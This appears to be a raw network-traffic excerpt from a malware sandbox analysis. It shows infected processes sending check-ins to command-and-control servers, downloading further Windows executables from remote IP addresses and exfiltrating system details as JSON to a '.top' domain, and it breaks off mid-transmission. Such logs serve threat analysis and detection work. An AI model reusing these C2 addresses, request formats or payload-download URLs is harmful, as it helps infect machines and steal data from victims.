Nov 27, 2024 17:59:07.580813885 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 27, 2024 17:59:07.580894947 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 27, 2024 17:59:07.581300974 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 27, 2024 17:59:07.581393003 CET	1236	IN	Data Raw: 4f 8f d6 19 4e 7d 81 7b d4 e0 b0 04 50 74 9c 30 0d c0 b0 78 5f f3 d4 1c a0 02 f6 49 92 cc 92 b7 60 70 80 3b 49 fc 0e 49 5e c4 b2 3a cd 24 91 38 1c f2 81 48 06 d4 bd 70 6d 30 de 92 ce c0 78 fb fa e0 bf 54 46 40 b3 3e 8d 24 b1 f8 4e 73 2b eb 96 b0 Data Ascii: ON}{Pt0x_I`p;II^:$8Hpm0xTF@>$Ns+=vX"`x^2M$_30vdk(^oNU"tm=+S^>q`f\|-8LnJa tTr).$ FgSl2=PF3>v_(RQ^~R)
Nov 27, 2024 17:59:07.581402063 CET	248	IN	Data Raw: 71 1c 60 fc 19 68 bd 0c 04 98 67 c9 08 af c5 c8 05 a6 ab 9c 43 90 ac 58 a4 5f 45 d1 f1 d6 83 ee e6 ed 6a 28 b4 a9 34 3c 0b fe 72 ab ea b8 5f cb 42 81 91 78 ca 91 d4 95 52 e6 72 58 74 3b da 7f 7e b8 76 8b fe c2 56 65 0f 19 a8 31 9c d0 fc 95 7f 85 Data Ascii: q`hgCX_Ej(4<r_BxRrXt;~vVe16VwQQ&EMI0*Wv_n^!RbT\|aKd^5YiajYU.V).Al2FgVm/U2j
Nov 27, 2024 17:59:07.581634045 CET	1236	IN	Data Raw: 81 b3 d6 3a 33 e8 38 fc 80 a2 ae b4 ea 25 77 c4 43 1c 07 2d 59 23 3e 08 c1 30 36 f9 4d 03 30 8d b3 b5 49 0f 31 b0 7d 1f bc a8 bd 95 47 b8 67 d7 9e d7 6d 3e 9e a4 78 35 54 d1 b7 11 80 c7 ee c4 56 e2 81 a1 6a 20 c3 df d6 26 b3 4b e8 70 4f f4 4f 6c Data Ascii: :38%wC-Y#>06M0I1}Ggm>x5TVj &KpOOl9)pmvIJA(nr24gdO)/_+R}x,6RPpf8:.kpdL],I&w9<tb[z`d~xJh&l[_TM
Nov 27, 2024 17:59:07.581737995 CET	1236	IN	Data Raw: 9c 9f 06 4f 78 40 61 c8 9b 2e 46 d9 a3 e1 2f 7b ee 54 e1 3b 0a b4 b4 94 d5 02 2e 75 40 4e 16 3d ec 80 b5 40 bf a8 c1 5e 95 d2 b3 fd 1e 9d a2 98 e2 15 be 36 c5 a1 45 93 2e 9f 5a 10 b5 08 22 c4 47 d6 7f c5 b6 e4 df 98 4d 88 09 a0 cf 36 1b 27 f7 99 Data Ascii: Ox@a.F/{T;.u@N=@^6E.Z"GM6'!Q)p{WR7)^ygzbD6H&DcU8:6{muV9s'&Qzos8gA>o<N<Barl~R#JxJsU=7HrM
Nov 27, 2024 17:59:07.721976995 CET	1236	IN	Data Raw: 10 14 ae e9 1f a2 ca 05 55 c1 f9 4a d7 70 d4 95 2c e6 6e 26 8c 2b c4 ca 8f f2 56 95 a6 61 36 10 cf a0 b0 4f 42 bb 2d b1 86 7a 71 d7 26 fa b2 16 33 25 94 3f ff 42 63 4a 1b eb 77 32 9d 3d 4f 81 4a a3 3c 92 8d a4 cc 67 28 63 ea 05 45 88 b9 3b 74 8a Data Ascii: UJp,n&+Va6OB-zq&3%?BcJw2=OJ<g(cE;t*rsID_WRi~07^e=m=OKI-X7(#LE;zBr}W0l#:ce0}TTMN}^bXPh:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49957	185.215.113.206	80	7316	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 27, 2024 17:59:11.494157076 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKKKFBGDHJKFHJJJJDGC Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 4a 4a 4a 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 61 39 64 61 36 63 65 63 66 63 31 32 63 32 62 64 33 30 36 36 32 31 61 32 38 65 33 65 30 32 64 37 63 37 36 30 66 35 63 38 65 33 62 37 64 37 37 30 61 63 61 63 61 32 32 61 32 33 61 38 34 61 39 32 63 63 39 36 30 30 38 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 4a 4a 4a 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 4a 4a 4a 44 47 43 2d 2d 0d 0a Data Ascii: ------AKKKFBGDHJKFHJJJJDGCContent-Disposition: form-data; name="token"9a9da6cecfc12c2bd306621a28e3e02d7c760f5c8e3b7d770acaca22a23a84a92cc96008------AKKKFBGDHJKFHJJJJDGCContent-Disposition: form-data; name="message"wkkjqaiaxkhb------AKKKFBGDHJKFHJJJJDGC--
Nov 27, 2024 17:59:13.459069014 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:59:12 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	50027	185.215.113.43	80	9132	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 27, 2024 17:59:39.458245039 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 27, 2024 17:59:40.848752022 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 27 Nov 2024 16:59:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	54491	185.215.113.43	80	9132	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 27, 2024 17:59:42.502036095 CET	316	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Nov 27, 2024 17:59:43.942332983 CET	644	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 27 Nov 2024 16:59:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 63 35 0d 0a 20 3c 63 3e 31 30 30 39 36 34 38 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 39 37 65 39 63 34 35 34 33 62 33 31 64 65 31 35 34 34 31 23 31 30 30 39 36 35 33 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 39 36 35 34 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 39 36 35 35 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 [TRUNCATED] Data Ascii: 1c5 <c>1009648001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd97e9c4543b31de15441#1009653001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1009654001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1009655001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1009656001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	54498	31.41.244.11	80	9132	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 27, 2024 17:59:44.076250076 CET	54	OUT	GET /files/random.exe HTTP/1.1 Host: 31.41.244.11
Nov 27, 2024 17:59:45.457061052 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 27 Nov 2024 16:59:45 GMT Content-Type: application/octet-stream Content-Length: 4429312 Last-Modified: Wed, 27 Nov 2024 15:47:16 GMT Connection: keep-alive ETag: "67473f04-439600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 25 da 45 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 4e 4b 00 00 3a 76 00 00 32 00 00 00 b0 c6 00 00 10 00 00 00 60 4b 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 e0 c6 00 00 04 00 00 2b fe 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f a0 73 00 73 00 00 00 00 90 73 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 8e c6 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 8e c6 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL%Eg(NK:v2`K@+C@ _sssx s6(@.rsrcsF(@.idata sH(@ 7sJ(@lywxyhem0p"L(@ndczsvwhnC@.taggant0"tC@
Nov 27, 2024 17:59:45.457082033 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 27, 2024 17:59:45.457096100 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 27, 2024 17:59:45.457173109 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 27, 2024 17:59:45.457185984 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 27, 2024 17:59:45.457293034 CET	672	IN	Data Raw: 56 6b 3e 32 cd a8 1a ef b5 59 c0 42 93 30 74 64 33 8f c0 ab 54 5a 0a 25 68 f6 b8 70 76 4d 5e 6d c3 b6 b7 db f4 5d 4f ef 6b de a6 e8 0d 7d 91 a9 5c ed 42 e7 ba 42 28 ba 02 e6 eb a9 3a ce 6e 78 1e 20 a7 2c 8e d6 a5 7c 46 85 98 cc be 40 8f a2 c0 bd Data Ascii: Vk>2YB0td3TZ%hpvM^m]Ok}\BB(:nx ,\|F@^O>"sBjV.ky1FOuj)ND^"HjjJJKPR]2-lR2.&:q(R)c*,s+;vF[Ih
Nov 27, 2024 17:59:45.457386971 CET	1236	IN	Data Raw: 0b e8 51 b2 1c 05 78 d4 07 61 1a 4f 71 78 62 c3 43 37 09 30 b1 b5 10 eb 5d ae 12 97 36 13 ae 02 56 dd b5 b9 44 ce 36 c7 09 eb 47 f2 99 df 89 fd c1 5f a7 9a 4b f1 e9 20 6a ef d8 a3 5e 3d 28 bf af e5 0d ed 4f 31 e2 e7 8d 11 9e 11 82 10 07 55 e9 66 Data Ascii: QxaOqxbC70]6VD6G_K j^=(O1UfZVQAwsj.tK($.B`0;(FR!O"7Qa/7{J.7U$]{nUa:<Fz,sY]6qr v0--meb7Bf0N2
Nov 27, 2024 17:59:45.457398891 CET	1236	IN	Data Raw: 62 d2 17 a8 6c d5 e8 9a ed af 79 55 a6 a9 0d 04 ee ce fc 23 3a 04 28 67 ed 24 59 d1 da b5 0e c7 ae 6a 87 02 d3 91 93 17 29 4f a7 ab f3 67 75 51 90 8f cf 46 79 17 50 9c f6 6b 4b 96 d1 d8 1d 1f 7b fb 92 74 d0 35 05 87 8d 86 16 e0 b4 56 dd d2 55 94 Data Ascii: blyU#:(g$Yj)OguQFyPkK{t5VU!6 !dtMU$M+0_W'$Ke,vsWOm5*HVdd"XBW[2$f"\C0#F.!Dc-to
Nov 27, 2024 17:59:45.457410097 CET	448	IN	Data Raw: 24 0e 31 aa 0c 12 5e 34 15 34 19 f1 ca cb f2 67 f6 ce 72 85 be 2a c7 62 02 c0 96 86 fe 0f 96 67 39 b8 6c 35 d0 25 fd 90 6c a0 eb 95 33 ee 9a 3b ba 21 bf 81 4a ff 8c 6e f1 92 0e 23 02 41 88 4c 06 5f 85 f0 f2 e1 99 f4 a4 20 ad e8 18 14 0f 74 6e e5 Data Ascii: $1^44gr*bg9l5%l3;!Jn#AL_ tnsWBDXXi;o/w#WvU)7;`J34^4DKwf-hw.aPK%R;V/DOY[{]V^$;!ZcB)y%nNyn"j\
Nov 27, 2024 17:59:45.457421064 CET	1236	IN	Data Raw: 8c 9c fa 00 5c 6f 1e c3 bc 13 2d 07 fe 65 9f 17 72 ee 95 60 7d 6f c4 7b fa 00 fa 27 cb 2d 6f b2 68 de d9 93 f2 ed 45 2b ba 38 aa d1 ff ee c4 ec c0 9f 9f d0 82 19 14 da 54 68 84 fc 4d d0 18 67 5d 8a 4e 74 32 83 b3 2b 47 94 2b 6c ff 76 e1 eb 31 4c Data Ascii: \o-er`}o{'-ohE+8ThMg]Nt2+G+lv1LO yw+1V5{;@%@{;Ggw(0/{G-c'k-~E6)K[Olz]WhPaT'mc@5\
Nov 27, 2024 17:59:45.577976942 CET	1236	IN	Data Raw: 88 8a 18 1f b8 21 4f 54 ba b2 3a 67 ba f1 8a 71 a0 d1 7c 22 ac df 25 ce 37 53 46 7c d9 f0 79 e5 bb 35 b6 65 9e 64 16 09 f9 05 9f 15 d2 7b 51 3f e1 f1 9c 1b b2 8a 46 d7 a7 51 61 9d ee d3 51 4b 0f 37 e7 69 e2 b9 52 0d 3e 8a 21 2f 0e 0d e4 1d ad fb Data Ascii: !OT:gq\|"%7SF\|y5ed{Q?FQaQK7iR>!/L6&?]o`yT\/N'&+e'm7/7=Y]]';e'sno8?8VjebAT-=h 2'*1Tk9(`oB>m

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	54526	185.215.113.43	80	9132	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 27, 2024 17:59:55.208746910 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 39 36 34 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1009648001&unit=246122658369
Nov 27, 2024 17:59:56.645431042 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 27 Nov 2024 16:59:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	54528	185.215.113.16	80	9132	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 27, 2024 17:59:56.987476110 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 27, 2024 17:59:58.386939049 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 27 Nov 2024 16:59:58 GMT Content-Type: application/octet-stream Content-Length: 1849344 Last-Modified: Wed, 27 Nov 2024 16:47:19 GMT Connection: keep-alive ETag: "67474d17-1c3800" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 42 33 47 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 e6 03 00 00 c2 00 00 00 00 00 00 00 60 49 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 49 00 00 04 00 00 77 c0 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 60 05 00 70 00 00 00 00 50 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 61 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELB3Gg`I@Iw@\`pPa @X@.rsrcPh@.idata `j@ 0*pl@hkhcddam/n@hshqlxbiPI@.taggant0`I"@
Nov 27, 2024 17:59:58.387042046 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 27, 2024 17:59:58.387056112 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 27, 2024 17:59:58.387229919 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 27, 2024 17:59:58.387243986 CET	1236	IN	Data Raw: 2f 89 07 1c 0d 10 97 f2 32 39 0d 41 96 be 1c df e5 ba 7f 79 48 3e ec 9f 71 52 b2 1e f7 fe 8d 71 d1 49 e4 88 04 32 4d 72 f7 45 57 11 29 17 08 1a f8 74 77 d4 f6 f6 16 fe f9 13 a4 9e 3c 20 cb ec 89 13 5b 82 d3 fa 96 d5 db 01 2d bb e5 0c e0 6b f4 79 Data Ascii: /29AyH>qRqI2MrEW)tw< [-kypx0\|$0tZ\:p"GEAG7ypjp{wo5uy"]woO/aM\AV=fVsZx3;kpex!bnBS6X13xM8_3:RxqJJkga&
Nov 27, 2024 17:59:58.387257099 CET	1236	IN	Data Raw: d9 48 cc 76 4e e5 ba 6e 21 ac 1f 1c ce 9d 18 b7 55 f4 5f 6c ed 01 cd 5c e3 ba aa bc 9d 51 e4 0e b6 2a 9d ff d9 41 a5 c1 ee ef 84 e2 d5 b4 78 e2 cd f3 ca d8 86 03 43 ef 81 fb 1e b9 2d 3a e8 c7 ee 02 cc 31 55 ba 68 1c f8 68 16 8a d5 61 b4 59 e1 b9 Data Ascii: HvNn!U_l\Q*AxC-:1UhhaY9\|LMBL,M)yTe,y#e,.wRO=\|Qy+,HA%.YH!Z$r,OEyr^[W;y6PI_
Nov 27, 2024 17:59:58.387590885 CET	1236	IN	Data Raw: 94 53 d8 d9 1f 51 6e dd 0f 77 76 ab 5a 12 20 d1 c4 70 af 27 a1 00 b3 16 ad f1 f3 65 32 83 fc 9f 6c 88 60 98 68 35 19 6e 5a fe e0 0c ba 35 e1 57 b6 b2 51 8b 3c f7 e9 c1 7b 4d ad 17 ee b5 eb ef 35 24 d2 31 a6 3a 1b 79 bd dc bf 9c ae 35 5b 5f 12 72 Data Ascii: SQnwvZ p'e2l`h5nZ5WQ<{M5$1:y5[_r1I~=tfA'` jBj/J4L"~hr~<78Rc^a$E?`r!Ztia@RxJ-d?T_&\YuTz,i62fF=
Nov 27, 2024 17:59:58.387604952 CET	1236	IN	Data Raw: b3 ba 24 06 27 cf 80 ed 76 70 d1 cf 87 97 0a 8a ba a2 b0 c9 1c fa 54 a2 68 1d c0 15 d4 37 0b af 2e 45 c6 34 cf fc e1 a1 10 48 f6 9c 82 3f df 44 85 b2 51 7c da 72 94 d7 c4 f9 74 25 e6 9d 0a 6d ac e9 17 17 a2 c5 cd ae 9b 78 62 91 a0 54 26 c2 78 38 Data Ascii: $'vpTh7.E4H?DQ\|rt%mxbT&x8wJAp]7o{9wp<`\?)RQ/F#Q'Lw^&m98CMg{Hp<Eq
Nov 27, 2024 17:59:58.387615919 CET	1236	IN	Data Raw: 74 b1 f7 12 be 84 79 4f 1e 2f e4 58 9f 76 23 3e 47 f6 e2 40 47 1a d6 1a ce 68 8f eb 55 64 fc fb ef 15 ec d7 24 fb 3e c6 f8 35 50 c8 6e 0f 0c 5a 1c 84 d9 80 ee f7 17 20 06 2f da 1f 17 11 51 88 81 dd 1f 6d a2 df ef d0 ab b5 a2 0e d0 1b 40 e2 3b e9 Data Ascii: tyO/Xv#>G@GhUd$>5PnZ /Qm@;'H}-Q[{8<8WJiE(F4xvhVjXomhl!p(T6\@NX&yxS `_YP>VWm
Nov 27, 2024 17:59:58.387753963 CET	1236	IN	Data Raw: c9 71 c8 02 ea 51 fb ee e1 5c 24 68 a5 d1 c6 ea f4 5e 4f f3 f8 9a d2 0f 08 ae 5f 64 0e 77 1d 5a ad b5 f3 2d 40 33 61 79 18 03 06 ff 2e e2 f8 da 81 50 57 cd 12 a1 38 4f f4 72 21 44 4c 72 d2 72 29 03 e8 59 bb a6 42 50 7e 75 77 aa 15 c4 1c 21 d1 e9 Data Ascii: qQ\$h^O_dwZ-@3ay.PW8Or!DLrr)YBP~uw! 5py\|2822qw+!:x'W0JIKL/ER14vKI\|HLgx.D/xywNo\mM{Z?]V8Y5 i~i
Nov 27, 2024 17:59:58.507292032 CET	1236	IN	Data Raw: f4 7a c7 a5 3f fa 79 57 68 62 1b 76 69 e8 17 0c d6 5f 00 41 01 01 c0 41 00 41 20 8f cc ba 0d 94 11 e0 9b 5d 72 5c d1 f4 dd 32 19 79 a6 64 84 5e e6 3f 19 55 3b 10 1a 15 04 47 11 0e d7 41 dc 76 35 00 2b f5 c5 e4 82 b1 d4 7a 4c 12 ae a0 14 d4 14 4e Data Ascii: z?yWhbvi_AAA ]r\2yd^?U;GAv5+zLNQ\|"X*m)<<{tzyeTvGqc\|(><'\|Ax/Uq&Bjj>az-`")<Ylw%]%~'$.nYIhx2AK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	54539	34.118.84.150	80	8476	C:\Users\user\AppData\Local\Temp\1009648001\dd3583c805.exe

Timestamp	Bytes transferred	Direction	Data
Nov 27, 2024 18:00:01.784390926 CET	12360	OUT	POST /iYUeIWtRvzKHTkiRYPPG1732630737 HTTP/1.1 Host: home.twentykm20sr.top Accept: / Content-Type: application/json Content-Length: 374913 Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 37 35 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 32 37 33 33 34 32 34 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 